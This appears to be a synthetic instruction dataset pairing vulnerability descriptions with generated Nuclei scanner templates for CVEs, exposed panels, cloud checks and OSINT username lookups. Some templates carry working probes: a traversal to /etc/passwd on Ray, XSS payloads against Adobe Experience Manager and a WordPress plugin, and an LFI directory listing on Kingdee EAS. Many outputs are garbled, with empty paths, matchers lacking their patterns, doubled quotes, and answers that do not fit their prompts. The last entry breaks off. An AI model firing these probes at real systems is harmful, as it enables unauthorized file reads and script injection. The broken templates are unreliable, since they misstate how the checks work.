Instruction: Generate a Nuclei template for CVE-2023-6020

Input:
Title: Missing Authorization in ray_project ray
Summary: LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.
Vulnerability Type: Missing Authorization
Severity: high
Affected Products: ray_project ray
Indicators: error, vulnerability detected

Output:
id: CVE-2023-6020

info:
  name: Ray Static File - Local File Inclusion
  author: byt3bl33d3r
  severity: high
  description: LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.
  tags: cve2023,cve,lfi,ray,oos,ray_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "application/octet-stream"
          - "aiohttp"
        part: header
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: AEM QueryBuilder Json Servlet

Input:
Title: AEM QueryBuilder Json Servlet
Summary: AEM QueryBuilder Json Servlet. Sensitive information might be exposed via AEMs QueryBuilderServlet or QueryBuilderFeedServlet.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: aem-querybuilder-json-servlet

info:
  name: AEM QueryBuilder Json Servlet
  author: DhiyaneshDk
  severity: info
  description: Sensitive information might be exposed via AEMs QueryBuilderServlet or QueryBuilderFeedServlet.
  tags: aem,adobe,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/querybuilder.json"
      - "{{BaseURL}}/bin/querybuilder.json.servlet"
      - "{{BaseURL}}///bin///querybuilder.json"
      - "{{BaseURL}}///bin///querybuilder.json.servlet"
      - "{{BaseURL}}/bin/querybuilder.feed"
      - "{{BaseURL}}/bin/querybuilder.feed.servlet"
      - "{{BaseURL}}///bin///querybuilder.feed"
      - " {{BaseURL}}///bin///querybuilder.feed.servlet"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "application/json"
        part: header
      - type: word
        words:
          - "success"
          - "results"
        condition: and


Instruction: Generate a Nuclei template for CVE-2018-19410

Input:
Title: Unknown Vulnerability in paessler prtg_network_monitor
Summary: PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: paessler prtg_network_monitor
Indicators: error, vulnerability detected

Output:
id: CVE-2018-19410

info:
  name: PRTG Network Monitor - Local File Inclusion
  author: DhiyaneshDK
  severity: critical
  description: PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).
  tags: cve,cve2018,prtg,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Added 1 users"
          - "prtg"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Insufficiently Protected Credentials

Input:
Title: Insufficiently Protected Credentials (CWE-522)
Summary: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
Vulnerability Type: Insufficiently Protected Credentials
Severity: medium
Indicators: unauthorized

Output:
id: kanboard-default-login

info:
  name: Kanboard - Default Login
  author: shelled
  severity: high
  description: Kanboard contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  tags: default-login,kanboard,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: servfail-refused-hosts

info:
  name: DNS Servfail Host Finder
  author: pdteam
  severity: info
  description: A DNS ServFail error occurred. ServFail errors occur when there is an error communicating with a DNS server. This could have a number of causes, including an error on the DNS server itself, or a temporary networking issue.
  tags: dns,takeover,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Speed Optimizer – The All-In-One Performance-Boosting Plugin Detection

Input:
Title: Speed Optimizer – The All-In-One Performance-Boosting Plugin Detection
Summary: Speed Optimizer – The All-In-One Performance-Boosting Plugin Detection
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-sg-cachepress

info:
  name: Speed Optimizer – The All-In-One Performance-Boosting Plugin Detection
  author: ricardomaia
  severity: info
  description: Speed Optimizer – The All-In-One Performance-Boosting Plugin Detection
  tags: tech,wordpress,wp-plugin,top-100,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sg-cachepress/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: AsyncRAT C2 - Detect

Input:
Title: AsyncRAT C2 - Detect
Summary: AsyncRAT C2 - Detect. AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploi
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: asyncrat-c2

info:
  name: AsyncRAT C2 - Detect
  author: johnk3r
  severity: info
  description: AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.
  tags: c2,ssl,tls,ir,osint,malware,asyncrat,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: wordpress-support

info:
  name: WordPress Support User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: WordPress Support user name information check was conducted.
  tags: osint,osint-blog,wordpress-support,discovery

http:
  - method: GET
    path:
      - "https://wordpress.org/support/users/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "s Profile | WordPress.org"
        part: body


Instruction: Generate a Nuclei template for: Azure Network Watcher Service Not Enabled

Input:
Title: Azure Network Watcher Service Not Enabled
Summary: Azure Network Watcher Service Not Enabled. Ensure that Azure Network Watcher service is enabled for all regions in your Microsoft Azure subscription to help monitor and diagnose conditions at the network level.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-network-watcher

info:
  name: Azure Network Watcher Service Not Enabled
  author: princechaddha
  severity: high
  description: Ensure that Azure Network Watcher service is enabled for all regions in your Microsoft Azure subscription to help monitor and diagnose conditions at the network level.
  tags: cloud,devops,azure,microsoft,network-watcher,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Flutter Web Application - Detect

Input:
Title: Flutter Web Application - Detect
Summary: Flutter Web Application - Detect. Detect flutter web apps looking for flutter_bootstrap.js,main.dart.js and flutter_service_worker.js files.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: flutter-web-detect

info:
  name: Flutter Web Application - Detect
  author: incogbyte
  severity: info
  description: Detect flutter web apps looking for flutter_bootstrap.js,main.dart.js and flutter_service_worker.js files.
  tags: tech,detect,flutter,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/flutter_service_worker.js"
      - "{{BaseURL}}/main.dart.js"
      - "{{BaseURL}}/flutter_bootstrap.js"
    matchers:
      - type: word
        words:
          - "_flutter.loader.didCreateEngineInitializer"
          - "_flutter.buildConfig"
          - "flutter-app-manifest"
          - "flutter-temp-cache"
          - "flutter-app-cache"
          - "ext.flutter.disassemble"
          - "#flutterweb-theme"
        part: body
        condition: or


Instruction: Generate a Nuclei template for: Confluence Detection

Input:
Title: Confluence Detection
Summary: Confluence Detection. This nuclei template is used to detect the presence of Confluence, a popular collaboration software.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: confluence-detect

info:
  name: Confluence Detection
  author: philippedelteil,AdamCrosser,6mile
  severity: info
  description: This nuclei template is used to detect the presence of Confluence, a popular collaboration software.
  tags: tech,confluence,atlassian,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/dologin.action"
      - "{{BaseURL}}"
      - "{{BaseURL}}/pages"
      - "{{BaseURL}}/confluence"
      - "{{BaseURL}}/wiki"
    matchers:
      - type: dsl


Instruction: Generate a Nuclei template for: Enable Usage and Storage Logs for Cloud Storage Buckets

Input:
Title: Enable Usage and Storage Logs for Cloud Storage Buckets
Summary: Enable Usage and Storage Logs for Cloud Storage Buckets. Ensure that usage and storage logs are enabled for your Google Cloud Storage buckets to monitor activity, track costs, detect suspicious behavior, and ensure compliance with security and audit requirements.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-storage-logs-not-enabled

info:
  name: Enable Usage and Storage Logs for Cloud Storage Buckets
  author: princechaddha
  severity: medium
  description: Ensure that usage and storage logs are enabled for your Google Cloud Storage buckets to monitor activity, track costs, detect suspicious behavior, and ensure compliance with security and audit requirements.
  tags: cloud,devops,gcp,gcloud,google-cloud-storage,logging,security,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: alienVault-usm

info:
  name: AlienVault USM Login Panel
  author: dhiyaneshDK
  severity: info
  description: An AlienVault USM login panel was detected.
  tags: panel,alienvault,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/ossim/session/login.php"
    matchers:
      - type: word
        words:
          - "<title>AlienVault USM"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Jira Security Checks

Input:
Title: Jira Security Checks
Summary: Jira Security Checks. A simple workflow that runs all Jira related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: jira-workflow

info:
  name: Jira Security Checks
  author: micha3lb3n
  severity: info
  description: A simple workflow that runs all Jira related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-0140

Input:
Title: Vulnerability (CWE-306) in vfbpro visual_form_builder
Summary: The Visual Form Builder WordPress plugin before 3.0.6 does not perform access control on entry form export, allowing unauthenticated users to see the form entries or export it as a CSV File using the vfb-export endpoint.
Vulnerability Type: Vulnerability (CWE-306)
Severity: medium
Affected Products: vfbpro visual_form_builder
Indicators: error, vulnerability detected

Output:
id: CVE-2022-0140

info:
  name: WordPress Visual Form Builder <3.0.8 - Information Disclosure
  author: random-robbie
  severity: medium
  description: WordPress Visual Form Builder plugin before 3.0.8 contains a information disclosure vulnerability. The plugin does not perform access control on entry form export, allowing an unauthenticated user to export the form entries as CSV files using the vfb-export endpoint.
  tags: cve,cve2022,wpscan,disclosure,wordpress,vfbpro,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""Date Submitted""
          - ""Entries ID""
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: GA Google Analytics – Connect Google Analytics to WordPress Detection

Input:
Title: GA Google Analytics – Connect Google Analytics to WordPress Detection
Summary: GA Google Analytics – Connect Google Analytics to WordPress Detection
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-ga-google-analytics

info:
  name: GA Google Analytics – Connect Google Analytics to WordPress Detection
  author: ricardomaia
  severity: info
  description: GA Google Analytics – Connect Google Analytics to WordPress Detection
  tags: tech,wordpress,wp-plugin,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ga-google-analytics/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: RDS Multi-AZ - Disabled

Input:
Title: RDS Multi-AZ - Disabled
Summary: RDS Multi-AZ - Disabled. Ensure that your Amazon RDS instances are using the Multi-AZ deployment configuration for high availability and automatic failover support, fully managed by AWS.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: rds-multi-az

info:
  name: RDS Multi-AZ - Disabled
  author: DhiyaneshDK
  severity: medium
  description: Ensure that your Amazon RDS instances are using the Multi-AZ deployment configuration for high availability and automatic failover support, fully managed by AWS.
  tags: cloud,devops,aws,amazon,rds,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-38637

Input:
Title: SQL Injection in hospital_management_system_project hospital_management_system
Summary: Hospital Management System v1.0 was discovered to contain multiple SQL injection vulnerabilities via the Username and Password parameters on the Login page.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: hospital_management_system_project hospital_management_system
Indicators: error, vulnerability detected

Output:
id: CVE-2022-38637

info:
  name: Hospital Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/user-login.php.  An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  tags: cve,cve2022,hms,cms,sqli,auth-bypass,hospital_management_system_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<title>User  | Dashboard</title>"
          - "Book My Appointment"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Cross-site Scripting

Input:
Title: Cross-site Scripting (CWE-79)
Summary: The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. There are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.
Vulnerability Type: Cross-site Scripting
Severity: high
Indicators: vulnerability detected, error

Output:
id: aem-setpreferences-xss

info:
  name: Adobe Experience Manager - Cross-Site Scripting
  author: zinminphy0,dhiyaneshDK
  severity: high
  description: Adobe Experience Manager contains a cross-site scripting vulnerability via setPreferences.
  tags: aem,xss,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"
      - "{{BaseURL}}/content/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"
    matchers:
      - type: word
        words:
          - "<svg/onload=confirm(document.domain);>"
          - "A JSONObject text must begin with"
        condition: and
      - type: status
        status:
          - 400


Instruction: Generate a Nuclei template for: Poste.io - Installer

Input:
Title: Poste.io - Installer
Summary: Poste.io - Installer. Poste.io is susceptible to the Installation page exposure due to misconfiguration.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: poste-io-installer

info:
  name: Poste.io - Installer
  author: DhiyaneshDK
  severity: high
  description: Poste.io is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,exposure,poste-io,install,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/install/server"
    matchers:
      - type: word
        words:
          - "Initial server configuration"
          - "poste"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-29006

Input:
Title: Path Traversal in rconfig rconfig
Summary: rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: rconfig rconfig
Indicators: error, vulnerability detected

Output:
id: CVE-2021-29006

info:
  name: rConfig 3.9.6 - Local File Inclusion
  author: r3Y3r53
  severity: medium
  description: rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
  tags: cve2021,cve,rconfig,authenticated,lfi,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body_3
      - type: word
        words:
          - "rconfig"
        part: body_2
      - type: status
        status:
          - 200
        part: header_3


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: inaturalist

info:
  name: Inaturalist User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Inaturalist user name information check was conducted.
  tags: osint,osint-hobby,inaturalist,discovery

http:
  - method: GET
    path:
      - "https://inaturalist.nz/people/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "s Profile"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: mix

info:
  name: Mix User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Mix user name information check was conducted.
  tags: osint,osint-social,mix,discovery

http:
  - method: GET
    path:
      - "https://mix.com/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<title>@"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: snipfeed

info:
  name: Snipfeed User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Snipfeed user name information check was conducted.
  tags: osint,osint-misc,snipfeed,discovery

http:
  - method: GET
    path:
      - "https://snipfeed.co/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "creatorLink"
        part: body


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: kingdee-eas-directory-traversal

info:
  name: Kingdee EAS - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: Kingdee EAS OA server_file is vulnerable to local file inclusion and can allow attackers to obtain sensitive server information.
  tags: kingdee,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/appmonitor/protected/selector/server_file/files?folder=C://&suffix="
      - "{{BaseURL}}/appmonitor/protected/selector/server_file/files?folder=/&suffix="
    matchers:
      - type: word
        words:
          - "{"name":"Windows","path":"C:\\\\Windows","folder":true}"
          - "{"name":"root","path":"/root","folder":true}"
        part: body
        condition: or
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Checkmk Agent Info Disclosure

Input:
Title: Checkmk Agent Info Disclosure
Summary: Checkmk Agent Info Disclosure. The Checkmk agent had exposed sensitive system information on TCP port 6556 without requiring authentication.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: checkmk-info-disclosure

info:
  name: Checkmk Agent Info Disclosure
  author: ivaldivieso
  severity: medium
  description: The Checkmk agent had exposed sensitive system information on TCP port 6556 without requiring authentication.
  tags: tcp,network,checkmk,unauth,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-10987

Input:
Title: OS Command Injection in tenda ac15_firmware
Summary: The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
Vulnerability Type: OS Command Injection
Severity: critical
Affected Products: tenda ac15_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2020-10987

info:
  name: Tenda AC15 AC1900 version 15.03.05.19 - Command Injection
  author: pussycat0x
  severity: critical
  description: The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
  tags: cve,cve2020,tenda,rce,kev,unauth,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "http"
        part: interactsh_protocol


Instruction: Generate a Nuclei template for CVE-2017-18565

Input:
Title: Cross-Site Scripting (XSS) in bestwebsoft updater
Summary: The updater plugin before 1.35 for WordPress has multiple XSS issues.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: bestwebsoft updater
Indicators: error, vulnerability detected

Output:
id: CVE-2017-18565

info:
  name: Updater by BestWebSoft < 1.35 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: The updater plugin before 1.35 for WordPress has multiple XSS issues.
  tags: cve2017,cve,wordpress,wp-plugin,xss,bws-updater,wpscan,authenticated,bestwebsoft,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Citrix XenMobile Version - Detect

Input:
Title: Citrix XenMobile Version - Detect
Summary: Citrix XenMobile Version - Detect. Template for XenMobile-detection (even if login-page is deactivated) and the specific version and rolling patch from js/app/init.js endpoint

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: citrix-xenmobile-version

info:
  name: Citrix XenMobile Version - Detect
  author: Puben
  severity: info
  description: Template for XenMobile-detection (even if login-page is deactivated) and the specific version and rolling patch from js/app/init.js endpoint
  tags: tech,edb,citrix,version,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
      - "{{BaseURL}}/js/app/init.js"
    matchers:
      - type: regex
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-21371

Input:
Title: Path Traversal in oracle weblogic_server
Summary: Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Web Container). Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
Vulnerability Type: Path Traversal
Severity: high
Affected Products: oracle weblogic_server
Indicators: unauthorized

Output:
id: CVE-2022-21371

info:
  name: Oracle WebLogic Server Local File Inclusion
  author: paradessia,narluin
  severity: high
  description: An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
  tags: cve,cve2022,lfi,weblogic,oracle,packetstorm,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: or
      - type: dsl
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Kiali - Detect

Input:
Title: Kiali - Detect
Summary: Kiali - Detect. kiali panel was detected.
. Tags: panel, kiali, detect
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: kiali-panel

info:
  name: Kiali - Detect
  author: righettod
  severity: info
  description: kiali panel was detected.
  tags: panel,kiali,detect,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/kiali/api/status"
      - "{{BaseURL}}/kiali/"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: KnowledgeTree Installer Exposure

Input:
Title: KnowledgeTree Installer Exposure
Summary: KnowledgeTree Installer Exposure. KnowledgeTree is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: knowledgetree-installer

info:
  name: KnowledgeTree Installer Exposure
  author: ritikchaddha
  severity: high
  description: KnowledgeTree is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,knowledgetree,install,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/setup/wizard/"
    matchers:
      - type: word
        words:
          - "<title>KnowledgeTree Installer"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2016-1000126

Input:
Title: Cross-Site Scripting (XSS) in admin-font-editor_project admin-font-editor
Summary: Reflected XSS in wordpress plugin admin-font-editor v1.8
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: admin-font-editor_project admin-font-editor
Indicators: error, vulnerability detected

Output:
id: CVE-2016-1000126

info:
  name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Admin Font Editor 1.8 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: cve2016,cve,wordpress,xss,wp-plugin,admin-font-editor_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Admin Font Editor"
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-22478

Input:
Title: Missing Authorization in fit2cloud kubepi
Summary: KubePi is a modern Kubernetes panel. The API interfaces with unauthorized entities and may leak sensitive information. This issue has been patched in version 1.6.4. There are currently no known workarounds.
Vulnerability Type: Missing Authorization
Severity: high
Affected Products: fit2cloud kubepi
Indicators: unauthorized

Output:
id: CVE-2023-22478

info:
  name: KubePi <= v1.6.4 LoginLogsSearch - Unauthorized Access
  author: DhiyaneshDk
  severity: high
  description: KubePi is a modern Kubernetes panel. The API interfaces with unauthorized entities and may leak sensitive information. This issue has been patched in version 1.6.4. There are currently no known workarounds.
  tags: cve2023,cve,kubepi,k8s,exposure,fit2cloud,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""apiVersion":"
          - ""uuid":"
          - ""userName":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: openerp-database

info:
  name: Odoo OpenERP Database Selector Panel - Detect
  author: impramodsargar
  severity: info
  description: Odoo OpenERP database selector panel was detected.
  tags: openerp,panel,odoo,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/database/selector/"
